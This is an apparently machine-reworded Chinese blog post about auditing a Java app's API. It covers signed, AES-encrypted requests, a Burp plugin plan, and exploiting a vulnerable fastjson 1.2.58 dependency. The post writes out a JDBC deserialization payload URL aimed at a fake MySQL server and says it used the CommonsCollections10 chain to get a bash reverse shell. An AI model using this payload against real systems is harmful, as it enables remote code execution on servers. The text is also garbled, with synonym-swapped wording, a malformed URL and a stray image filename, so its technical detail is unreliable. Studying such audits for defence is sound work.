对APP API接口的一次代码安全审计

        以前收到1个app测试项目,就给予了1个demo源码和接口设计文档,文本文档里一共有十五个接口。原本认为app测试,只需把主要参数拼凑测一测测一测就ok了(数据信息是json格式),但见到设计文档里说数据信息又得做签字又得做数据加密,那样检测就越来越繁杂了,扫描软件也扫不到。没数据加密上传,返回会表明解密不成功。实际上是有几种解决方法的,写一个服务器代理,根据的情况下做数据加密处理啥的,另1个便是写个burp插件,做要求前的数据信息自动数据加密,这一实际上使用过chunked编码插件的就非常容易了解。在这儿我准备挑选后者,实际上burp自身便是1个服务器代理,因此代理局部就不用咱们担心了,咱们只须要处理数据分析局部。

outputo-20211220-091337-866-wxyp.png

在干以前也是得先看一下demo源码有啥,由于还不清楚实际的签字和数据加密的关键点。总体目标系统软件是根据java开发的,demo自然也是java了,项目是用mvn监管的,IDEA内置mvn,就再次编译成打包一下下,运行jar包运行的是1个spingboot应用,但demo里并没有给予接口,因此实际上没啥用。因此就翻一翻其他文件,最先应看的便是pom.xml看看有什么依赖包,递交的数据信息全是json的,实际上也猜中某些,这儿能够看见fastjson1.2.58,1个存有漏洞的版本,而总体目标假如相同得话,那么就可以先获得高危一个。尽管还没解决加解密,先递交poc尝试

随后上mysqlconnectorpayload。github有一个项目也快捷构建1个fakermysql,http://github..info/fnmsd/MySQL_Fake_Server让总体目标上传如下所示,会返回1个实行的实例化目标,进而让总体目标反序列化实行,结构的主要参数放到system字符串数组。mysql://127.0.0.1:3389/testautoDeserialize=true&queryInterceptors=.info.mysql.TJ.ibatis.interceptors.ServerStatusDiffInterceptor&system=rhy_JRE8u20_calc实际效果如下所示,解读客户端上传的system字符串数组,这儿读取cc10实行bash反弹。

回过头再看一下别的源代码,有一个XXXCashTest.java,是用以客户端递交数据处理的,随意寻找1个方法,commonApplyDto是接口主要参数的类,根据fastjson序列化成字符串数组,将字符串数组应用AES数据加密,公钥user的变量值,应用sha256公钥签字公钥design的变量值,随后再递交。他这儿是loadPemKey读取本地公钥文件。

分享: